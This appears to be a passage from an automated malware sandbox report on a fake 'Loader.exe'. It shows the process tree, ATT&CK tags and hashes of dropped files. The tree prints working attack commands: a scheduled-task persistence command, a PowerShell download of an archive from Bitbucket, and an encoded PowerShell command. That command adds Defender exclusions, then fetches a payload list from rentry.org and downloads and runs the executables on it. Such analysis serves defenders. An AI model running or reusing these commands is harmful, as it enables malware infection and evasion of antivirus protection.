    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3648
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:1672
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:3612
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:4392
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:2916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/lemon.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2956
- - C:\Users\Admin\AppData\Roaming\pk2yovih.yfv1.exe
    "C:\Users\Admin\AppData\Roaming\pk2yovih.yfv1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4588
- - C:\Users\Admin\AppData\Roaming\pk2yovih.yfv2.exe
    "C:\Users\Admin\AppData\Roaming\pk2yovih.yfv2.exe"
    3⤵
    - Executes dropped EXE
    PID:1628
- - C:\Users\Admin\AppData\Roaming\pk2yovih.yfv3.exe
    "C:\Users\Admin\AppData\Roaming\pk2yovih.yfv3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2064
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CD49.tmp\CD4A.tmp\CD4B.bat C:\Users\Admin\AppData\Roaming\pk2yovih.yfv3.exe"
      4⤵
      PID:1868
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:4248
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4872
    - - C:\Windows\system32\msiexec.exe
        
        msiexec /i nodejs-installer.msi /quiet
        5⤵
        
        PID:3908

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3296
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Loader\Loader\mainf.dll
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:5220

C:\Users\Admin\Downloads\Loader\Loader\Loader.exe
"C:\Users\Admin\Downloads\Loader\Loader\Loader.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5328

C:\Users\Admin\Downloads\Loader\Loader\Loader.exe
"C:\Users\Admin\Downloads\Loader\Loader\Loader.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5560

C:\Users\Admin\Downloads\Loader\Loader\Loader.exe
"C:\Users\Admin\Downloads\Loader\Loader\Loader.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5804

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

83c3a48c-6c8b-4b89-99c6-d51273135f03.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\83c3a48c-6c8b-4b89-99c6-d51273135f03.tmp
Size 7KB
SHA256 5185cfe9655ccb4aa646bbd51cae10608ea5a0fa2f52a7283b6ae97eec93dab3
MD5 b7a9723da81552335acd6286ddb2b1ec
SHA1 0ca6188884d530d975916132e4cc6e733fdf96a3
SHA512 0923f4e81f4b386f76658fe5d9072bfb3d24ddd578e9f9cd299f4508783f67bd42d6716cfcdcf6c7985d98fe0d617d80d3fd820d06d1b6d422a28af290ffaa98
SSDEEP 192:kwxkAnb0faJGaC8syh+FQZr175/P5tjEsXtScR:kwxkG7Gtyqer175ptIsXtScR
MD5 SHA1 SHA512 SSDEEP

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 a2f3c5c479a7d51eb801919963ac79795c4c072c8043a921beed77e919ccfbdb
MD5 f7d8d45b8dda8d48c9a42b8679144ba1
SHA1 22095b40377998ee292b196cebff187e5b95a1f5
SHA512 9744cc1160ee7ff1faee60210f6dec685e8ac8423d9ad400499d5330772f56554f5d80946f6049e5778204aaa9b0930d552a4b1befb4276ff5a511c4d5671e6b
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 7fb5993c70565a35a7ae1c141466bf3ce4efeceb134de7a78eca3e730b284c92
MD5 3c84901b2ae7d15af05e5f90dfaa66b0
SHA1 bf6ea97b49fecb50326ffba42bb7d32d9ebbdf07
SHA512 d29bf1c88a669edc1684d59020fde66a18fec97b3ba868869b7c9cd9c834259e85cea023f1c45c8b029368ae05858bb1538711fb38fb9c34ada2fea9eb3440e6
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 e0017aca07bb766e471ea892f63f292f88e5ccc20adb214700812e67dccb07ea
MD5 3185bafa08c96f1758dfc16bc6e22425
SHA1 42efebe5b76dc12fd7cf9742350f6b2ea04f3828
SHA512 287b2260fe7bcbf9292d48985a46bbd45a515356f71b332ed249ad637a50b7c65b4fd64d3a27831d07ecb24913f8ab95bd7a3dbbaf4d6a9343f53fe8e4f94bb5
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 4bf80287331f5f41119a112621984e16f9a110f9ef830f936611ea490ae4a7cb
MD5 bdc09a3c451ccf42b42393228ca8cab6
SHA1 96a7cbe6ecb132a3b1e72ab6d779e1f8e4f6f851
SHA512 39114639a9f54acaeb4e8239e51fbfff36ceb72e5298242726fb639187d3ca8d52905ffc559db0f9c19c9dbaa3e2a054c1a422a6aeb4648242656d49a7048992
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 e9070fcd2d84406da994ee1818bc5d5fff6c7df71e922ffc9b409bd13d41eb99
MD5 e858a1991b340339d95d224d2136a93b
SHA1 61a8ebdc50df3269a3517c744fdfc66e7d2f0c98
SHA512 dd450bd47b8b58492cc0115ef8239dfe6d81346514712cb0979469fcc7fc92d938a298d8fd86bb11d8619b716d30277463bef6158d4dbabc068ea0ba202af4a7
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 3b8972d52145ac9eebdf59b36c339a7ef11d3797da852023067a600457875687
MD5 c9d1b12d9a87b01b7b4674e4a88903fd
SHA1 dafd5e93154981ed8a49071caa6a6aa31bc92e29
SHA512 5910554868e44a6837b35c2ba131ababd0ea090e5ee609fa286b8c12197f2df64917be5d4ba98a2cfa2fb10034e2754c1ab47f9573ed5ce2ed2cf4b707627581
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 1b5e21715be58991850644a0c4651a3c49ee5513ea5ef5b09580ec9eaf6a824d
MD5 4a83b91015e41b92ddb0319d214449d6
SHA1 3ace50fcc7d7e789bea02ea3167d2c05cb408175
SHA512 6c6c0af64425251d707ec9ef370bad99e11313e9d14171a84b60bf9743767afa5c03d05b0259590a7659afd92f8451bf6bfa03cc2df07f817d13b04f902164e2
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 db47980cd9ee891e8054e08a42fc0eda1fe2ad5ca536423a5ba5291b5c58e553
MD5 26e1c366db053226a26f0ede52e55ea8
SHA1 c1b08a7eee94d67b88eb5970545e922ecadea645
SHA512 f73f9dd98b72c47bce5215f4b72aba107de903f4fa8ae8fff050ce6b539410ce99f30d9bf46163b7a338e58536a70dc77e7fb32c3c6ebb41d2082243c02cc44e
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 7KB
SHA256 339154f5ff94679e2d232e1036cd559dc1643718ceb4cc943236a398a3117009
MD5 200ef1f1fd96aefe9b850334124a09d1
SHA1 1de08d0ad729ab889d87e292d0ffbb051eb304a6
SHA512 9be551135b6552442fbe6d093ad7d57566062465ef2a36d4c9406371b54566e464b206521be55bdeb18921f88927e9fedc382c592503391d883e811cbaea91d8
SSDEEP 192:kwx6Anb0faJGaC8syh+FI5x175/P5tjEsXtScR:kwx6G7Gtyqmx175ptIsXtScR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 7KB
SHA256 cdf130134b46ef67ff768783e401a4fe823dab418845d666da95d41f61a5eb46
MD5 fc2a01bb8a53c772de931e5c8f54b2c1
SHA1 928f731e525d9ee2aabde2cfcec570d1c0506a01
SHA512 1fdffcaa44b87bce5000c0968ad6b932d2cca101c6a4597290eedd0a10921f8ea64776d879ecbdea54768885773cde18545ce6914fd22ff1ee4cecb454e58e2d
SSDEEP 192:kwx6Anb0faJGaC8syh+Fm3m175/P5tjEsXtScR:kwx6G7Gtyqqm175ptIsXtScR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 138KB
SHA256 34f761b9783e2fdc8f539acdef7b6c222c44027bcf5b57b2608b7982018b3d96
MD5 82a41ba26bcf9d669c9fe0ff5573e93f
SHA1 8d14a32888369fc608213dc30e1d842bc3f045da
SHA512 9c66f0e83787e5f398c770591b938adc2a542b7917781bf73e59173f9763e60e52a00bb424571384b17d00c4cec5a3d3d8d440c1869799815f187c2443ba766a
SSDEEP 3072:ecMw24LQfn5MY4R3q3m0qPaNjDpwU5mVXww:fMw5Qf2RSTIadDpwU5CAw
MD5 SHA1 SHA512 SSDEEP

Submit Download

Module Info Cache

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache
Size 99KB
SHA256 6a17733e01387459c44f9a68be9b6960acee1590766eab3d2b924386f0f64239
MD5 ad78d756f61ca6923dbc73f8f68dae64
SHA1 63ed540a41cd032808c623690ee4399299227016
SHA512 8b4360d0d7cf5ea7af0b64c9610de1e76f35fc417a81abdb914a5b313082d9aa09677acc2c595a7e4e0f0a667324f9c2b97b9c6cb277f0c5c13662bc78bc3405
SSDEEP 384:NdO7xEQ/zrHT9DYyi4KPHNDapDni0vEmI2ilb1mNkH3JV2qsbShhruiZh/GPn7HF:EiQWIv8mjr3VNWdo+KeO9/
MD5 SHA1 SHA512 SSDEEP

Submit Download

Module Info Cache~RFe58ef3d.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe58ef3d.TMP
Size 89KB
SHA256 b81ac4a2bf033b5aa729129f72d6ad18b670159c74b9344f0fc219e3ae929db4
MD5 0a50a90ae93f536bb36345a8b534e271
SHA1 1b99e6d4d42a66423db14a4ca9927c15551ac311
SHA512 768c660a63314158b4b2242f1acd17a3a6472e39010f0fb4232cae502ecd1b0e6a46ae2338af9a00ccc2b59cbcd0518344ac1770763e3360e251568f3492ec72
SSDEEP 384:EdO7xEQ/zrHT9DYyi4KPHNDapDni0vE5wlb1mNJ3J0qsbChruZh/0n7HFpdzKuXS:diQWIvGmhYV88do+KeO9X
MD5 SHA1 SHA512 SSDEEP

Submit Download

Loader.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Loader.exe.log
Size 226B
SHA256 2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c
MD5 28d7fcc2b910da5e67ebb99451a5f598
SHA1 a5bf77a53eda1208f4f37d09d82da0b9915a6747
SHA512 2d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87
MD5 d4ff23c124ae23955d34ae2a7306099a
SHA1 b814e3331a09a27acfcd114d0c8fcb07957940a3
SHA512 f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79
MD5 SHA1 SHA512

Submit Download

CBF3.bat

Path C:\Users\Admin\AppData\Local\Temp\CBF1.tmp\CBF2.tmp\CBF3.bat
Size 6KB
SHA256 ca7484221dd9645e4608a8195965d941955cfb0f9a373d0870cfd244302ae0fa
MD5 45f6bf2d3c1c47e445439b805929aae8
SHA1 9d2ba518dd058559bc1d690019bbed79c7cd5f85
SHA512 902eb3e38b0be7d795f17a779d0231d0d168fbb8d4ce32b48ba3774a6be9929016b213e9b0082b55e8ac4d2fadadce3184ba8c30f8a025003fec8c8b8e496c64
SSDEEP 192:Ps70wx4Ln/57EZqxdBOYwdvj0pOp8UZfFr/wGXsQxRywNY6jm:k70m4LR7EGNwdvFwGXHsw66y
MD5 SHA1 SHA512 SSDEEP

Submit Download

CD4B.bat

Path C:\Users\Admin\AppData\Local\Temp\CD49.tmp\CD4A.tmp\CD4B.bat
Size 1KB
SHA256 706536e5077fcb4e5e4dd2f77d40f492e7ab6b12065cdc0b450fdd483f436279
MD5 2b49f09f8e1785bf2e5c79d0f2bc7389
SHA1 05d68482ab1db17e11fef25fae270c3b784000ae
SHA512 ba8cc161086caa5beb691191ff10f1408e68be79a075d0a653716df497cec762b7767783a0dc91bcba2f260df0fa9ff77e9cf982a364135a18c281e50564bc0a
MD5 SHA1 SHA512

Submit Download

nodejs-installer.msi

Path C:\Users\Admin\AppData\Local\Temp\CD49.tmp\nodejs-installer.msi
Size 5.8MB
SHA256 3a830607d6a31691b5733cc12b3ce437014386e0b098e2f4afff0aa0749ddfc1
MD5 d260f8520bf6395efc27d69a1b8fd304
SHA1 39a8d52d9505fe411b58f5f81846999f46519ad9
SHA512 f434dc30ab08d277548b2a047eedde87374d301d186137a8da745d259c27a24e20dda20a51c247e36221f410b4bd03b9820bf864c560d52be9241b3a42227a4d
SSDEEP 98304:25Hvo2Z3MfWiFON9j92zjSo1gO01FY1ZzpH+U/B8y1SzVDO0ZHLewOKfrs:2BMqvj92zmo1gp1O1lWaaVy0ZKv9
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_kl3rxpmv.dtg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kl3rxpmv.dtg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

pk2yovih.yfv0.exe

Path C:\Users\Admin\AppData\Roaming\pk2yovih.yfv0.exe
Size 94KB
SHA256 cf879d5a689376a47310ceb1b95167ccd18ab2073a1356b8d9cecbf04141ae16
MD5 40208a80f2b2155185d8a5bac4b9c367
SHA1 d7bf694f6046be8d6a882c86df12c1a35e26ab60
SHA512 5ff32150c9e62261732c36b4bf2c4f84c58b120b72652b2c22a7591865dd6babbfb741fb75177acd845b072a4ea2a594960a894a2bca4f220c2f897ccd692621
SSDEEP 1536:z7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfAxKedyB:vq6+ouCpk2mpcWJ0r+QNTBfAMeEB
MD5 SHA1 SHA512 SSDEEP

Submit Download

pk2yovih.yfv1.exe

Path C:\Users\Admin\AppData\Roaming\pk2yovih.yfv1.exe
Size 423KB
SHA256 df97eb504ed5a3298737f83d418d70025f3be0daf56d6ccae35ec0d2ef813b20
MD5 448e72d5b4a0ab039607cbaf93707732
SHA1 bbb85f7a6b8915d6a6739aa4f80be2766c62eb9f
